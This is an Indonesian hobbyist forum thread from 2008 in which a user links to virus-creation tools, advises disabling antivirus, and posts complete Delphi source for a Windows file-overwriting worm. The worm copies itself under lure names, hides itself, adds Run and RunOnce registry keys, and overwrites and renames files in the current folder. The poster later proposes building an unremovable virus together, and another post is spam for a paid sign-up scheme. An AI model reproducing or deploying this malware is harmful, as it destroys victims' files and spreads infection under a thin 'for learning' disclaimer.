WWW.MADIUNMIG33.COM
madiunmig33@yahoo.co.id
 
IndeksIndeks  PortalPortal  GalleryGallery  CalendarCalendar  FAQFAQ  PencarianPencarian  PendaftaranPendaftaran  AnggotaAnggota  GroupGroup  LoginLogin  

Share | 
 

 BUAT VIRUS SANGAT MUDAH

Topik sebelumnya Topik selanjutnya Go down 
PengirimMessage
YONO
KOPRAL
KOPRAL


Male
Jumlah posting : 16
Age : 30
Lokasi : Banjarmasin
Nick mig33 : kos_together
Pengguna aktif room : Banjarmasin 3
Registration date : 11.06.08

PostSubyek: BUAT VIRUS SANGAT MUDAH   Fri Jun 13, 2008 3:16 pm

BAGI YANG PENGEN MEMPELAJARI VIRUS-VIRUS KOMPUTER NIH KU BERIKAN LINK BAGAIMANA CARA BUAT VIRUS SANGAT MUDAH, SOFTWARENYA DAPAT DI DOWNLOAD BEBAS JADI TINGGAL PKE AJA

TAPI INGAT INI UNTUK PEMBELAJARAN JANGAN DI GUNAKAN UNTUK BIKIN ORANG NGAMUK :elephant:
NIH LINKNYA DOWNLOAD AJA DI SITU SEPUASNYA
:study: MOGA INFORMASI INI DAPAT BERGUNA BAGI YANG PENGEN BELAJAR
http://zifoe.blogspot.com/2008/05/virus-creation-tools.html
Kembali Ke Atas Go down
Lihat profil user
fock
adm
adm


Male
Jumlah posting : 1326
Age : 71
Lokasi : in the cHaTrOOm
Nick mig33 : rasul, emas, fock
Pengguna aktif room : Madiun, Warung Kopi $2
Registration date : 10.03.08

PostSubyek: Re: BUAT VIRUS SANGAT MUDAH   Mon Jun 23, 2008 7:38 am

he 3x, aq dah berusaha coba bikin tp msh blm berhasiL ....

_________________
Cinta adalah Kematian atas Egoisme dan Egosentrisme.....
Kembali Ke Atas Go down
Lihat profil user http://www.friendster.com/nikiforenko320
C-C
adm
adm


Male
Jumlah posting : 1310
Age : 37
Lokasi : madiun
Nick mig33 : a.a c-c
Pengguna aktif room : Madiun
Registration date : 24.01.08

PostSubyek: Re: BUAT VIRUS SANGAT MUDAH   Mon Jun 23, 2008 9:05 pm

Aq tak nyoba di sek ya kis Very happy mdh2 ico

mksh infonya bos! 1 ilmu lg aq dpt krn forum ini 23

_________________
Kembali Ke Atas Go down
Lihat profil user http://madiunmig33.forumotion.com
myut_oks
HELPER
HELPER


Male
Jumlah posting : 485
Age : 32
Lokasi : Sukoharjo.....
Nick mig33 : chif ; myut_okz
Pengguna aktif room : Sharing Zone
Registration date : 05.06.08

PostSubyek: Re: BUAT VIRUS SANGAT MUDAH   Tue Jun 24, 2008 12:07 am

HATI2 BUAT VIRUS... USAHAKAN HARDIS TERPISAH MA DOKUMEN... ENTAR ADA SENJATA MAKAN TUAN LHO... :roll:

_________________
Kembali Ke Atas Go down
Lihat profil user
intel1pentium
HELPER
HELPER


Male
Jumlah posting : 425
Age : 31
Lokasi : kota minyak
Nick mig33 : Til , ppu
Pengguna aktif room : ppu…
Registration date : 30.05.08

PostSubyek: http://madiunmig33.forumotion.com/pc-laptop-f6/buat-virus-sangat-mudah-t329.htm   Tue Jun 24, 2008 9:25 am

y mas contah au mlh kena senjata sendir.tahnks app na mas



:P





Kembali Ke Atas Go down
Lihat profil user HTTP://penajammig33.forumotion.com
YONO
KOPRAL
KOPRAL


Male
Jumlah posting : 16
Age : 30
Lokasi : Banjarmasin
Nick mig33 : kos_together
Pengguna aktif room : Banjarmasin 3
Registration date : 11.06.08

PostSubyek: Re: BUAT VIRUS SANGAT MUDAH   Wed Jun 25, 2008 9:12 am

Sorry Aku lupa bilang Softwarenya sudah dikenal anti virus, jadi untuk Menjalankannya matikan dulu proteksinya, :scratch:
untuk menjalankan virusnya cukup klik 2X Langsung deh aktif :cherry:
Kembali Ke Atas Go down
Lihat profil user
YONO
KOPRAL
KOPRAL


Male
Jumlah posting : 16
Age : 30
Lokasi : Banjarmasin
Nick mig33 : kos_together
Pengguna aktif room : Banjarmasin 3
Registration date : 11.06.08

PostSubyek: Re: BUAT VIRUS SANGAT MUDAH   Wed Jun 25, 2008 11:02 am

Ni aku dapat lagi dari website tapi lupa linknya Sorry
Silahkan teman-teman gunakan sebagai bahan pembelajaran, saya tidak bertanggung jawab terhadap segala akibat yang ditimbulkan

Kode virus ini di buat menggunakan delphi 7

unit Unit1;

interface
{Deklarasi ShellApi Yang Digunakan}
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Shellapi,registry, Mmsystem, StdCtrls, ExtCtrls, jpeg;

type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
procedure Timer2Timer(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);

private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}
{{$R MySoundRes.RES}

procedure TForm1.FormCreate(Sender: TObject);

{Deklarasi variabel}
var
regis: TRegistry;
APath: string;
MySearch: TSearchRec;
dir : string;
{i : integer;}
{x : integer;}
{F:TextFile;}
reg1:TRegistry;
reg2:TRegistry;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
begin
{form tak terlihat}
Application.ShowMainForm := false;
{copy dulu ah}
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
mkdir(sysdir+’\runfold’);
except
end;
try
CopyFile(pchar(application.ExeName),PChar(windir+’\Dadan cakep.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\sistim32.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Rahasia.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Jangan dibuka.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\hotmovie.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\ramdan.avi.exe’),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+’\runfold\-NET-SERVICES-.exe’),true);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{menjalankan service tak terlihat}
begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
SetFileAttributes(PChar(sysdir+’\runfold\-NET-SERVICES-.exe’), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{men-disable TASK MANAGER}
try
regis := TRegistry.Create;
regis.RootKey := HKEY_CURRENT_USER;

regis.OpenKey(’Software’, True);
regis.OpenKey(’Microsoft’, True);
regis.OpenKey(’Windows’, True);
regis.OpenKey(’CurrentVersion’, True);
regis.OpenKey(’Policies’, True);
regis.OpenKey(’System’, True);
regis.WriteString(’DisableTaskMgr’, ‘0′);
regis.CloseKey;
except
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{membuat key di registry biar auto run gitu}
begin
try
getsystemdirectory(sysdir,sizeof(sysdir));
reg1 := TRegistry.Create;
reg1.RootKey := HKEY_LOCAL_MACHINE;
if reg1.OpenKey(’Software\Microsoft\Windows\CurrentVersion\Run’,True) then
reg1.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg1.CloseKey;
{membuat key registry di runonce}
reg2 := TRegistry.Create;
reg2.RootKey := HKEY_LOCAL_MACHINE;
if reg2.OpenKey(’Software\Microsoft\Windows\CurrentVersion\RunOnce’,True) then
reg2.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg2.CloseKey;
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{menginfeksi file}
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+’\*.*’, faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
copyFile (pchar(application.ExeName),pchar(APath+’\'+MySearch.Name),false);
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{merubah file yg terinfeksi}
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+’\*.*’, faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
renamefile (pchar(APath+’\'+MySearch.Name),pchar(APath+’\'+MySearch.Name+’.exe’));
renamefile (pchar(application.ExeName+’.exe’),pchar(application.ExeName));
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
procedure TForm1.Timer1Timer(Sender: TObject);
{terus perhatiin yah}
{deklarasi variabel}
var
regis: TRegistry;
reg1:TRegistry;
reg2:TRegistry;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
begin
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
mkdir(sysdir+’\runfold’);
except
end;
try
CopyFile(pchar(application.ExeName),PChar(windir+’\Dadan cakep.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\sistim32.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Rahasia.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Jangan dibuka.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\hotmovie.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\ramdan.avi.exe’),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+’\runfold\-NET-SERVICES-.exe’),true);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{tetep jalanin virus secara tak terlihat}
begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
SetFileAttributes(PChar(sysdir+’\runfold\-NET-SERVICES-.exe’), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{mendisable task manager}
begin
try
regis := TRegistry.Create;
regis.RootKey := HKEY_CURRENT_USER;
regis.OpenKey(’Software’, True);
regis.OpenKey(’Microsoft’, True);
regis.OpenKey(’Windows’, True);
regis.OpenKey(’CurrentVersion’, True);
regis.OpenKey(’Policies’, True);
regis.OpenKey(’System’, True);
regis.WriteString(’DisableTaskMgr’, ‘0′);
regis.CloseKey;
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
begin
try
getsystemdirectory(sysdir,sizeof(sysdir));
reg1 := TRegistry.Create;
reg1.RootKey := HKEY_LOCAL_MACHINE;
if reg1.OpenKey(’Software\Microsoft\Windows\CurrentVersion\Run’,True) then
reg1.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg1.CloseKey;
{bikin lagi key registry}
reg2 := TRegistry.Create;
reg2.RootKey := HKEY_LOCAL_MACHINE;
if reg2.OpenKey(’Software\Microsoft\Windows\CurrentVersion\RunOnce’,True) then
reg2.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg2.CloseKey;
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
try
ShellExecute(0, ‘open’, ‘www.imm.or.id’, nil, nil, SW_NORMAL);
mciSendString(’dadan cakep deh’, nil, 0, handle);
except
end;
timer2.Enabled:= true;
timer1.Enabled:= false;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
try
mciSendString(’dadan memang cakep’, nil, 0, handle);
except
end;
timer1.Enabled:= true;
timer2.Enabled:= false;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
end;

end.
Kembali Ke Atas Go down
Lihat profil user
myut_oks
HELPER
HELPER


Male
Jumlah posting : 485
Age : 32
Lokasi : Sukoharjo.....
Nick mig33 : chif ; myut_okz
Pengguna aktif room : Sharing Zone
Registration date : 05.06.08

PostSubyek: Re: BUAT VIRUS SANGAT MUDAH   Wed Jun 25, 2008 11:26 am

MATIH.... KIE BAHASA VIRUS... HATI2 PEMAKAIANNYA... 03

_________________
Kembali Ke Atas Go down
Lihat profil user
aq-manut-ae
PRAJA
PRAJA


Male
Jumlah posting : 9
Age : 28
Lokasi : madiun
Nick mig33 : aq-manut-ae, uways-_ < nick canada,he...>
Pengguna aktif room : pindah2 sak karepe dewe
Registration date : 25.06.08

PostSubyek: Re: BUAT VIRUS SANGAT MUDAH   Wed Jun 25, 2008 8:45 pm

ayo dunk mas2,join DISINI , hanya dengan edit profile,buat blog,baca dan kirim pesan,baca dan kirin omment,kita akan dibayar dollar nantinya,untuk penjelasanya KLIK DI SINI , dan untuk liat profil saya KLIK DISINI

gampang..kaya kita kalo ber friendster ria gto,cuman kalo yang ini kita akan dibayar,ini peluang besar karena situs semacam friendster ini baru berkembang...anda akan dibayar VIA CEK MAUPUN PAYPAL...minimal penarikan duitnya nya US$ 5,00-US$ 10,000.00 ...dijamin gratis,ayo mumpung masi hangat...

tertarik silakan join DISINI

GOOD LUCK AND GET THOUSAND DOLLARS FROM YOUR ACCOUNT... :face:
Kembali Ke Atas Go down
Lihat profil user http://uways.malware-site.www
C-C
adm
adm


Male
Jumlah posting : 1310
Age : 37
Lokasi : madiun
Nick mig33 : a.a c-c
Pengguna aktif room : Madiun
Registration date : 24.01.08

PostSubyek: Re: BUAT VIRUS SANGAT MUDAH   Wed Jun 25, 2008 11:06 pm

hmmmmmmmmmm lakok seponsor manehhhhhh


makasih mas yon nyoba jek e au mekipun bingung

_________________
Kembali Ke Atas Go down
Lihat profil user http://madiunmig33.forumotion.com
C-C
adm
adm


Male
Jumlah posting : 1310
Age : 37
Lokasi : madiun
Nick mig33 : a.a c-c
Pengguna aktif room : Madiun
Registration date : 24.01.08

PostSubyek: Re: BUAT VIRUS SANGAT MUDAH   Wed Jun 25, 2008 11:10 pm

WEW jadi warning iki bos nek ape blajarrr

_________________
Kembali Ke Atas Go down
Lihat profil user http://madiunmig33.forumotion.com
intel1pentium
HELPER
HELPER


Male
Jumlah posting : 425
Age : 31
Lokasi : kota minyak
Nick mig33 : Til , ppu
Pengguna aktif room : ppu…
Registration date : 30.05.08

PostSubyek: BUAT VIRUS SANGAT MUDAH   Wed Jun 25, 2008 11:42 pm

beuh muantep mas.kali ini gk bkal kna senjata makn tuane maneh.blh promosi gk mas a.a



Staright face
Kembali Ke Atas Go down
Lihat profil user HTTP://penajammig33.forumotion.com
jangkeng
PRAJA
PRAJA


Male
Jumlah posting : 6
Age : 36
Lokasi : makassar
Nick mig33 : jangkeng
Pengguna aktif room : palopo
Registration date : 25.06.08

PostSubyek: Re: BUAT VIRUS SANGAT MUDAH   Thu Jun 26, 2008 10:12 am

binun!

dondot aja ah! sapa tau aq jd pembuat virus terkenal 10
Kembali Ke Atas Go down
Lihat profil user
r3t1n4
KOPRAL
KOPRAL


Male
Jumlah posting : 34
Age : 30
Lokasi : Madiun
Nick mig33 : r3t1n4
Pengguna aktif room : Madiun
Registration date : 13.05.08

PostSubyek: Re: BUAT VIRUS SANGAT MUDAH   Sat Jun 28, 2008 1:15 am

jangan di salah gunakan ya mas!!!!! 04
Kembali Ke Atas Go down
Lihat profil user
YONO
KOPRAL
KOPRAL


Male
Jumlah posting : 16
Age : 30
Lokasi : Banjarmasin
Nick mig33 : kos_together
Pengguna aktif room : Banjarmasin 3
Registration date : 11.06.08

PostSubyek: Re: BUAT VIRUS SANGAT MUDAH   Tue Jul 08, 2008 2:11 pm

Bagi temen-teman jangan bikin virus yang bikin orang mumet, 10
gimana kalo kita gabung aja ilmu kita diforum ini, bikin virus yang ga bisa dibasmi, dipake kalo ada perlunya aja GIMANA SETUJU NGGAK 13
Bagi yang pengen belajar instant ya di download aja softwarenya !!!! 13
Kembali Ke Atas Go down
Lihat profil user
archer--x9x
MAYOR
MAYOR


Male
Jumlah posting : 334
Age : 33
Lokasi : kaltim
Nick mig33 : archer--x9x, bad-x
Pengguna aktif room : smua room... hehehe
Registration date : 02.08.08

PostSubyek: Re: BUAT VIRUS SANGAT MUDAH   Mon Aug 04, 2008 6:22 pm

aku udah nyoba tapi gak berhasil 16
Kembali Ke Atas Go down
Lihat profil user
rangz_025
KAPTEN
KAPTEN


Male
Jumlah posting : 222
Age : 26
Lokasi : cibubur
Nick mig33 : rangzz
Pengguna aktif room : cibubur
Registration date : 05.08.08

PostSubyek: Re: BUAT VIRUS SANGAT MUDAH   Wed Aug 06, 2008 6:09 pm

Waduh,,,,

ntar kena pc sendiri lg....

01
Kembali Ke Atas Go down
Lihat profil user
Sponsored content




PostSubyek: Re: BUAT VIRUS SANGAT MUDAH   Today at 5:03 pm

Kembali Ke Atas Go down
 
BUAT VIRUS SANGAT MUDAH
Topik sebelumnya Topik selanjutnya Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» (ASK) Bensin buat si ninin
» [share] Caraku terhindar 100% dari Virus PC & Notebook ( No Deep Freeze )
» cara mudah donlod video youtube tanpa software!
» manga/anime apa sih yg memberi kesan mendalam dan berpengaruh buat hidupkamu?
» pilih ban buat ninja 250 yang oke punya

Permissions in this forum:Anda tidak dapat menjawab topik
FORUM MADIUN MIG33 :: COMPUTER :: PC & LAPTOP-
Navigasi: